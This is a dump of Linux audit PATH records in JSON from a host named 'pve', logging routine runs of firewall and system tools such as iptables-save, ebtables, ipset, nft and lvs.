{"@timestamp":1781965345316,"@rawstring":"node=pve type=PATH msg=audit(1781965345.316:65209): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345316,"@rawstring":"node=pve type=PATH msg=audit(1781965345.316:65209): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345310,"@rawstring":"node=pve type=PATH msg=audit(1781965345.310:65208): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345310,"@rawstring":"node=pve type=PATH msg=audit(1781965345.310:65208): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345304,"@rawstring":"node=pve type=PATH msg=audit(1781965345.304:65207): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345304,"@rawstring":"node=pve type=PATH msg=audit(1781965345.304:65207): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345300,"@rawstring":"node=pve type=PATH msg=audit(1781965345.300:65206): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345300,"@rawstring":"node=pve type=PATH msg=audit(1781965345.300:65206): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345300,"@rawstring":"node=pve type=PATH msg=audit(1781965345.300:65205): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345300,"@rawstring":"node=pve type=PATH msg=audit(1781965345.300:65205): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345300,"@rawstring":"node=pve type=PATH msg=audit(1781965345.300:65204): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345296,"@rawstring":"node=pve type=PATH msg=audit(1781965345.296:65203): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345296,"@rawstring":"node=pve type=PATH msg=audit(1781965345.296:65203): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345296,"@rawstring":"node=pve type=PATH msg=audit(1781965345.296:65203): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345286,"@rawstring":"node=pve type=PATH msg=audit(1781965345.286:65202): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345286,"@rawstring":"node=pve type=PATH msg=audit(1781965345.286:65202): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345280,"@rawstring":"node=pve type=PATH msg=audit(1781965345.280:65201): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345280,"@rawstring":"node=pve type=PATH msg=audit(1781965345.280:65201): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345274,"@rawstring":"node=pve type=PATH msg=audit(1781965345.274:65200): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345274,"@rawstring":"node=pve type=PATH msg=audit(1781965345.274:65200): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345268,"@rawstring":"node=pve type=PATH msg=audit(1781965345.268:65199): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345268,"@rawstring":"node=pve type=PATH msg=audit(1781965345.268:65199): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345259,"@rawstring":"node=pve type=PATH msg=audit(1781965345.259:65198): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345259,"@rawstring":"node=pve type=PATH msg=audit(1781965345.259:65198): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965344284,"@rawstring":"node=pve type=PATH msg=audit(1781965344.284:65197): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965344284,"@rawstring":"node=pve type=PATH msg=audit(1781965344.284:65197): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965344250,"@rawstring":"node=pve type=PATH msg=audit(1781965344.250:65196): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965344250,"@rawstring":"node=pve type=PATH msg=audit(1781965344.250:65196): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965342671,"@rawstring":"node=pve type=PATH msg=audit(1781965342.671:65195): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965342671,"@rawstring":"node=pve type=PATH msg=audit(1781965342.671:65195): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965342671,"@rawstring":"node=pve type=PATH msg=audit(1781965342.671:65194): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965342671,"@rawstring":"node=pve type=PATH msg=audit(1781965342.671:65193): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965342655,"@rawstring":"node=pve type=PATH msg=audit(1781965342.655:65192): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965342655,"@rawstring":"node=pve type=PATH msg=audit(1781965342.655:65192): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965342655,"@rawstring":"node=pve type=PATH msg=audit(1781965342.655:65191): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965342655,"@rawstring":"node=pve type=PATH msg=audit(1781965342.655:65190): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965337648,"@rawstring":"node=pve type=PATH msg=audit(1781965337.648:65189): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965337648,"@rawstring":"node=pve type=PATH msg=audit(1781965337.648:65189): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965337648,"@rawstring":"node=pve type=PATH msg=audit(1781965337.648:65188): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965337648,"@rawstring":"node=pve type=PATH msg=audit(1781965337.648:65187): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965337642,"@rawstring":"node=pve type=PATH msg=audit(1781965337.642:65186): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965337642,"@rawstring":"node=pve type=PATH msg=audit(1781965337.642:65186): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965337642,"@rawstring":"node=pve type=PATH msg=audit(1781965337.642:65185): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965337642,"@rawstring":"node=pve type=PATH msg=audit(1781965337.642:65184): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335247,"@rawstring":"node=pve type=PATH msg=audit(1781965335.247:65183): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335247,"@rawstring":"node=pve type=PATH msg=audit(1781965335.247:65183): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335241,"@rawstring":"node=pve type=PATH msg=audit(1781965335.241:65182): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335241,"@rawstring":"node=pve type=PATH msg=audit(1781965335.241:65182): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335240,"@rawstring":"node=pve type=PATH msg=audit(1781965335.240:65181): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335240,"@rawstring":"node=pve type=PATH msg=audit(1781965335.240:65181): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335240,"@rawstring":"node=pve type=PATH msg=audit(1781965335.240:65180): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335236,"@rawstring":"node=pve type=PATH msg=audit(1781965335.236:65179): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335236,"@rawstring":"node=pve type=PATH msg=audit(1781965335.236:65179): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335236,"@rawstring":"node=pve type=PATH msg=audit(1781965335.236:65179): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335228,"@rawstring":"node=pve type=PATH msg=audit(1781965335.228:65178): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335228,"@rawstring":"node=pve type=PATH msg=audit(1781965335.228:65178): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335220,"@rawstring":"node=pve type=PATH msg=audit(1781965335.220:65177): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335220,"@rawstring":"node=pve type=PATH msg=audit(1781965335.220:65177): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335210,"@rawstring":"node=pve type=PATH msg=audit(1781965335.210:65176): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335210,"@rawstring":"node=pve type=PATH msg=audit(1781965335.210:65176): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335203,"@rawstring":"node=pve type=PATH msg=audit(1781965335.203:65175): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335203,"@rawstring":"node=pve type=PATH msg=audit(1781965335.203:65175): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335197,"@rawstring":"node=pve type=PATH msg=audit(1781965335.197:65173): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335197,"@rawstring":"node=pve type=PATH msg=audit(1781965335.197:65173): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335191,"@rawstring":"node=pve type=PATH msg=audit(1781965335.191:65172): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335191,"@rawstring":"node=pve type=PATH msg=audit(1781965335.191:65172): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335185,"@rawstring":"node=pve type=PATH msg=audit(1781965335.185:65171): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335185,"@rawstring":"node=pve type=PATH msg=audit(1781965335.185:65171): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335179,"@rawstring":"node=pve type=PATH msg=audit(1781965335.179:65170): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335179,"@rawstring":"node=pve type=PATH msg=audit(1781965335.179:65170): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335171,"@rawstring":"node=pve type=PATH msg=audit(1781965335.171:65169): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335171,"@rawstring":"node=pve type=PATH msg=audit(1781965335.171:65169): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335165,"@rawstring":"node=pve type=PATH msg=audit(1781965335.165:65168): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335165,"@rawstring":"node=pve type=PATH msg=audit(1781965335.165:65168): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335157,"@rawstring":"node=pve type=PATH msg=audit(1781965335.157:65167): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335157,"@rawstring":"node=pve type=PATH msg=audit(1781965335.157:65167): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335151,"@rawstring":"node=pve type=PATH msg=audit(1781965335.151:65166): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335151,"@rawstring":"node=pve type=PATH msg=audit(1781965335.151:65166): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335147,"@rawstring":"node=pve type=PATH msg=audit(1781965335.147:65165): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335147,"@rawstring":"node=pve type=PATH msg=audit(1781965335.147:65165): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335142,"@rawstring":"node=pve type=PATH msg=audit(1781965335.142:65164): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335142,"@rawstring":"node=pve type=PATH msg=audit(1781965335.142:65164): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335139,"@rawstring":"node=pve type=PATH msg=audit(1781965335.139:65163): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335139,"@rawstring":"node=pve type=PATH msg=audit(1781965335.139:65163): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335139,"@rawstring":"node=pve type=PATH msg=audit(1781965335.139:65162): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335133,"@rawstring":"node=pve type=PATH msg=audit(1781965335.133:65161): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335133,"@rawstring":"node=pve type=PATH msg=audit(1781965335.133:65161): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335133,"@rawstring":"node=pve type=PATH msg=audit(1781965335.133:65161): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335127,"@rawstring":"node=pve type=PATH msg=audit(1781965335.127:65160): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335127,"@rawstring":"node=pve type=PATH msg=audit(1781965335.127:65160): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335118,"@rawstring":"node=pve type=PATH msg=audit(1781965335.118:65159): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335118,"@rawstring":"node=pve type=PATH msg=audit(1781965335.118:65159): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335114,"@rawstring":"node=pve type=PATH msg=audit(1781965335.114:65158): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335114,"@rawstring":"node=pve type=PATH msg=audit(1781965335.114:65158): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335106,"@rawstring":"node=pve type=PATH msg=audit(1781965335.106:65157): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 